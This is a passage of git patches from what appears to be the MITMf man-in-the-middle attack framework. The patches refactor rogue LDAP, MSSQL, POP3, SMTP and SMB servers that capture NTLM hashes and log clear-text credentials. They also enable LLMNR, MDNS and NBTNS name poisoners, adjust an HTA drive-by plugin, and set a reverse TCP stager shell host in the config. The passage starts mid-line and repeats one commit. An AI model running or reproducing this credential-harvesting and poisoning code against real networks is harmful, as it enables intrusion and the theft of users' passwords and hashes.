MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack('. import os import struct -import settings +import core.responder.settings as settings +import threading +from traceback import print_exc -from SocketServer import BaseRequestHandler -from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge -from utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge +from core.responder.utils import * + +class LDAP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 389), LDAPServer) + else: + server = ThreadingTCPServer(('', 389), LDAPServer) + + t = threading.Thread(name='LDAP', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting LDAP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) def ParseSearch(data): Search1 = re.search('(objectClass)', data) @@ -66,7 +96,7 @@ def ParseLDAPHash(data, client): }) if LMhashLen < 2 and settings.Config.Verbose: - print text("[LDAP] Ignoring anonymous NTLM authentication") + settings.Config.ResponderLogger.info("[LDAP] Ignoring anonymous NTLM authentication") def ParseNTLM(data,client): Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data) @@ -119,10 +149,10 @@ def ParseLDAPPacket(data, client): else: if settings.Config.Verbose: - print text('[LDAP] Operation not supported') + settings.Config.ResponderLogger.info('[LDAP] Operation not supported') # LDAP Server class -class LDAP(BaseRequestHandler): +class LDAPServer(BaseRequestHandler): def handle(self): try: while True: diff --git a/core/servers/MSSQL.py b/core/servers/MSSQL.py index ab708c8..61bfb4b 100644 --- a/core/servers/MSSQL.py +++ b/core/servers/MSSQL.py @@ -16,11 +16,40 @@ # along with this program. If not, see . import os import struct -import settings +import core.responder.settings as settings +import threading -from SocketServer import BaseRequestHandler -from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer -from utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer +from core.responder.utils import * + +class MSSQL: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 1433), MSSQLServer) + else: + server = ThreadingTCPServer(('', 1433), MSSQLServer) + + t = threading.Thread(name='MSSQL', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting MSSQL server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) class TDS_Login_Packet(): def __init__(self, data): @@ -119,11 +148,11 @@ def ParseClearTextSQLPass(data, client): }) # MSSQL Server class -class MSSQL(BaseRequestHandler): +class MSSQLServer(BaseRequestHandler): def handle(self): if settings.Config.Verbose: - print text("[MSSQL] Received connection from %s" % self.client_address[0]) + settings.Config.ResponderLogger.info("[MSSQL] Received connection from %s" % self.client_address[0]) try: while True: diff --git a/core/servers/POP3.py b/core/servers/POP3.py index 5bdfa7e..5a142f7 100644 --- a/core/servers/POP3.py +++ b/core/servers/POP3.py @@ -15,14 +15,44 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os -import settings +import core.responder.settings as settings +import threading +from traceback import print_exc -from utils import * -from SocketServer import BaseRequestHandler -from packets import POPOKPacket +from core.responder.utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import POPOKPacket + +class POP3: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 110), POP3Server) + else: + server = ThreadingTCPServer(('', 110), POP3Server) + + t = threading.Thread(name='POP3', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting POP3 server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # POP3 Server class -class POP3(BaseRequestHandler): +class POP3Server(BaseRequestHandler): def SendPacketAndRead(self): Packet = POPOKPacket() diff --git a/core/servers/SMB.py b/core/servers/SMB.py index 2b5394c..f9c3da5 100644 --- a/core/servers/SMB.py +++ b/core/servers/SMB.py @@ -74,31 +74,36 @@ def Is_LMNT_Anonymous(data): #Function used to know which dialect number to return for NT LM 0.12 def Parse_Nego_Dialect(data): - Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]]) - #print hex(Dialect) + packet = data + try: + Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]]) + #print hex(Dialect) - if Dialect[0] == "NT LM 0.12": - return "\x00\x00" - if Dialect[1] == "NT LM 0.12": - return "\x01\x00" - if Dialect[2] == "NT LM 0.12": - return "\x02\x00" - if Dialect[3] == "NT LM 0.12": - return "\x03\x00" - if Dialect[4] == "NT LM 0.12": - return "\x04\x00" - if Dialect[5] == "NT LM 0.12": - return "\x05\x00" - if Dialect[6] == "NT LM 0.12": - return "\x06\x00" - if Dialect[7] == "NT LM 0.12": - return "\x07\x00" - if Dialect[8] == "NT LM 0.12": - return "\x08\x00" - if Dialect[9] == "NT LM 0.12": - return "\x09\x00" - if Dialect[10] == "NT LM 0.12": - return "\x0a\x00" + if Dialect[0] == "NT LM 0.12": + return "\x00\x00" + if Dialect[1] == "NT LM 0.12": + return "\x01\x00" + if Dialect[2] == "NT LM 0.12": + return "\x02\x00" + if Dialect[3] == "NT LM 0.12": + return "\x03\x00" + if Dialect[4] == "NT LM 0.12": + return "\x04\x00" + if Dialect[5] == "NT LM 0.12": + return "\x05\x00" + if Dialect[6] == "NT LM 0.12": + return "\x06\x00" + if Dialect[7] == "NT LM 0.12": + return "\x07\x00" + if Dialect[8] == "NT LM 0.12": + return "\x08\x00" + if Dialect[9] == "NT LM 0.12": + return "\x09\x00" + if Dialect[10] == "NT LM 0.12": + return "\x0a\x00" + except Exception: + print 'Exception on Parse_Nego_Dialect! Packet hexdump:' + print hexdump(packet) #Set MID SMB Header field. def midcalc(data): @@ -124,7 +129,7 @@ def ParseShare(data): packet = data[:] a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) if a: - print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', '')) + settings.Config.ResponderLogger.info("[SMB] Requested Share : %s" % a.group(0).replace('\x00', '')) #Parse SMB NTLMSSP v1/v2 def ParseSMBHash(data,client): @@ -237,7 +242,7 @@ def IsNT4ClearTxt(data, client): Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) + settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) # SMB Server class, NTLMSSP diff --git a/core/servers/SMTP.py b/core/servers/SMTP.py index aeb3111..e6bfa3f 100644 --- a/core/servers/SMTP.py +++ b/core/servers/SMTP.py @@ -15,12 +15,44 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os -import settings +import core.responder.settings as settings +import threading -from utils import * +from core.responder.utils import * from base64 import b64decode, b64encode -from SocketServer import BaseRequestHandler -from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 + +class SMTP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server1 = ThreadingTCPServer((settings.Config.Bind_To, 25), ESMTP) + server2 = ThreadingTCPServer((settings.Config.Bind_To, 587), ESMTP) + else: + server1 = ThreadingTCPServer(('', 25), SMB1) + server2 = ThreadingTCPServer(('', 587), SMB1) + + for server in [server1, server2]: + t = threading.Thread(name='SMTP', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting SMTP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # ESMTP Server class class ESMTP(BaseRequestHandler): diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py index 3fef9f9..bec4f5f 100644 --- a/plugins/htadriveby.py +++ b/plugins/htadriveby.py @@ -17,7 +17,6 @@ # import re -import flask from plugins.plugin import Plugin from plugins.inject import Inject @@ -34,7 +33,7 @@ class HTADriveBy(Inject, Plugin): Inject.initialize(self, options) self.html_payload = self.get_payload() - from core.servers.http.HTTPserver import HTTPserver + from core.servers.HTTP import HTTP def hta_request(path): if path == options.hta_app.split('/')[-1]: with open(options.hta_app) as hta_file: diff --git a/plugins/responder.py b/plugins/responder.py index 73a01db..98f50f2 100644 --- a/plugins/responder.py +++ b/plugins/responder.py @@ -17,7 +17,6 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # -import flask from plugins.plugin import Plugin from twisted.internet import reactor @@ -36,12 +35,40 @@ class Responder(Plugin): self.ip = options.ip # Load (M)DNS, NBNS and LLMNR Poisoners - from core.poisoners.LLMNR import LLMNR - from core.poisoners.MDNS import MDNS - from core.poisoners.NBTNS import NBTNS - LLMNR().start() - MDNS().start() - NBTNS().start() + import core.poisoners.LLMNR as LLMNR + import core.poisoners.MDNS as MDNS + import core.poisoners.NBTNS as NBTNS + LLMNR.start() + MDNS.start() + NBTNS.start() + + if self.config["Responder"]["SQL"].lower() == "on": + from core.servers.MSSQL import MSSQL + MSSQL().start() + + if self.config["Responder"]["Kerberos"].lower() == "on": + from core.servers.Kerberos import Kerberos + Kerberos().start() + + if self.config["Responder"]["FTP"].lower() == "on": + from core.servers.FTP import FTP + FTP().start() + + if self.config["Responder"]["POP"].lower() == "on": + from core.servers.POP3 import POP3 + POP3().start() + + if self.config["Responder"]["SMTP"].lower() == "on": + from core.servers.SMTP import SMTP + SMTP().start() + + if self.config["Responder"]["IMAP"].lower() == "on": + from core.servers.IMAP import IMAP + IMAP().start() + + if self.config["Responder"]["LDAP"].lower() == "on": + from core.servers.LDAP import LDAP + LDAP().start() def reactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) From 159d3adf7a8e16533478a86ed125cce3d2d17555 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 3 Aug 2015 05:37:23 +0200 Subject: [PATCH 239/323] fixes 146 --- plugins/upsidedownternet.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/upsidedownternet.py b/plugins/upsidedownternet.py index a3a53b6..71579b9 100644 --- a/plugins/upsidedownternet.py +++ b/plugins/upsidedownternet.py @@ -54,8 +54,8 @@ class Upsidedownternet(Plugin): im.save(output, format=self.imageType) data = output.getvalue() output.close() - self.clientlog.info("Flipped image".format(response.getClientIP())) + self.clientlog.info("Flipped image", extra=request.clientInfo) except Exception as e: - self.clientlog.info("Error: {}".format(response.getClientIP(), e)) + self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) return {'response': response, 'request': request, 'data': data} From 052c86b24218385d1439d7fa424e336ba20ad404 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 3 Aug 2015 05:37:23 +0200 Subject: [PATCH 240/323] fixes #146 --- plugins/upsidedownternet.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/upsidedownternet.py b/plugins/upsidedownternet.py index a3a53b6..71579b9 100644 --- a/plugins/upsidedownternet.py +++ b/plugins/upsidedownternet.py @@ -54,8 +54,8 @@ class Upsidedownternet(Plugin): im.save(output, format=self.imageType) data = output.getvalue() output.close() - self.clientlog.info("Flipped image".format(response.getClientIP())) + self.clientlog.info("Flipped image", extra=request.clientInfo) except Exception as e: - self.clientlog.info("Error: {}".format(response.getClientIP(), e)) + self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) return {'response': response, 'request': request, 'data': data} From c527dc1d21704d125ddf1d38879457540c586fae Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 3 Aug 2015 05:46:00 +0200 Subject: [PATCH 241/323] debug logs now show command string used on startup --- mitmf.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/mitmf.py b/mitmf.py index a6b3482..f0a7dc8 100755 --- a/mitmf.py +++ b/mitmf.py @@ -78,6 +78,12 @@ options.mac = get_mac(options.interface) settings.Config.populate(options) +from core.logger import logger +formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("MITMf", formatter) + +log.debug("MITMf started:{}".format(sys.argv)) + from core.sslstrip.CookieCleaner import CookieCleaner from core.proxyplugins import ProxyPlugins from core.sslstrip.StrippingProxy import StrippingProxy @@ -130,9 +136,9 @@ if options.filter: print "| |_ Applying filter {} to incoming packets".format(options.filter) #Start mitmf-api -#from core.mitmfapi import mitmfapi -#print "|_ MITMf-API online" -#mitmfapi().start() +from core.mitmfapi import mitmfapi +print "|_ MITMf-API online" +mitmfapi().start() #Start Net-Creds from core.netcreds import NetCreds From 772ef9ab3959a85001533ff7af4ef3dbdb50565b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 5 Aug 2015 13:31:04 +0200 Subject: [PATCH 242/323] responder code is now up to date with the lastest version logging is going to have to get cleaned up, but that's a minor issue re-implemented the function to add endpoints to the http server added an option to manually specify the gateways mac in the Spoofer plugin --- config/mitmf.conf | 8 +- core/html/htadriveby.html | 2 +- core/poisoners/ARP.py | 6 +- core/poisoners/LLMNR.py | 5 +- core/poisoners/MDNS.py | 4 +- core/poisoners/NBTNS.py | 8 +- core/servers/HTTP.py | 53 +++- core/servers/SMB.py | 599 +++++++++++++++++++------------------- mitmf.py | 2 +- plugins/htadriveby.py | 12 +- plugins/responder.py | 7 + plugins/spoof.py | 1 + 12 files changed, 375 insertions(+), 332 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index d6d58fe..955d4b0 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -446,8 +446,8 @@ [[[[WindowsIntelx86]]]] PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND # PATCH_METHOD overwrites PATCH_TYPE with jump - PATCH_METHOD = automatic - HOST = 192.168.1.88 + PATCH_METHOD = + HOST = 10.9.135.193 PORT = 8444 SHELL = iat_reverse_tcp_stager_threaded SUPPLIED_SHELLCODE = None @@ -458,8 +458,8 @@ [[[[WindowsIntelx64]]]] PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND # PATCH_METHOD overwrites PATCH_TYPE with jump - PATCH_METHOD = automatic - HOST = 192.168.1.16 + PATCH_METHOD = + HOST = 10.9.135.193 PORT = 8088 SHELL = iat_reverse_tcp_stager_threaded SUPPLIED_SHELLCODE = None diff --git a/core/html/htadriveby.html b/core/html/htadriveby.html index f35ff4e..83dc1dc 100644 --- a/core/html/htadriveby.html +++ b/core/html/htadriveby.html @@ -54,7 +54,7 @@ newHTML.innerHTML = ' \